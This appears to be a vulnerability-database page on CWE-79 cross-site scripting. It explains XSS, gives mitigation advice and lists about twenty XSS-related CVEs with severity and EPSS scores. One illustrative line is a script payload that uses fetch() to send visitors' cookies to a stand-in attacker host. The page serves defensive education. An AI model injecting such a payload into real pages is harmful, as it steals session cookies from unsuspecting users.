Fallos del tipo CWE-79

29.659 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-2402MEDIUMBetter Comments < 1.5.6 - Admin+ Stored XSSEPSS 0.4%CVE-2024-8730MEDIUMExit Notifier <= 1.10.4 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-7300MEDIUMBolt CMS Showcase Creation showcases cross site scriptingEPSS 0.4%CVE-2023-2328MEDIUMCross-site Scripting (XSS) - Generic in pimcore/pimcoreEPSS 0.4%CVE-2023-49178HIGHWordPress HDW Player Plugin (Video Player & Video Gallery) Plugin <= 5.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-36110HIGHCross-site scripting in ansibleguy-webuiEPSS 0.4%CVE-2023-48326HIGHWordPress Events Manager Plugin <= 6.4.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-49771HIGHWordPress Smart External Link Click Monitor [Link Log] Plugin <= 5.0.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-32796HIGHWordPress WooCommerce Product Enquiry Plugin <= 2.3.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-29183MEDIUMOpenRASP vulnerable to a reflected Cross-Site Scripting (XSS) attack in /loginEPSS 0.4%CVE-2024-8731MEDIUMCron Jobs <= 1.2.9 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2026-25642MEDIUMHedgeDoc security headers for uploaded files were not workingEPSS 0.4%CVE-2023-34088HIGHCollabora Online has Stored Cross-Site-Scripting vulnerability in admin interfaceEPSS 0.4%CVE-2024-33819MEDIUMGlobitel KSA SpeechLog v8.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Save Query function.EPSS 0.4%CVE-2025-22623MEDIUMAd Inserter - Reflected cross-site scripting (XSS)EPSS 0.4%CVE-2026-38472MEDIUMA Stored XSS vulnerability in forum reward comments in GazellePW (GazellePosterWall) commit 86c4bedf727691b5a97af42a4864869d18446449 allows EPSS 0.4%CVE-2026-51565MEDIUMCross-site scripting (XSS) vulnerability in Modules/Docs/DocsController.php in Milk admin <=0.9.8 allows remote attackers to inject arbitrarEPSS 0.4%CVE-2023-5073MEDIUMiframe forms <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via iframe ShortcodeEPSS 0.4%CVE-2024-24060MEDIUMspringboot-manager v1.6 is vulnerable to Cross Site Scripting (XSS) via /sys/user.EPSS 0.4%CVE-2023-34375HIGHWordPress Seo By 10Web Plugin <= 1.2.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%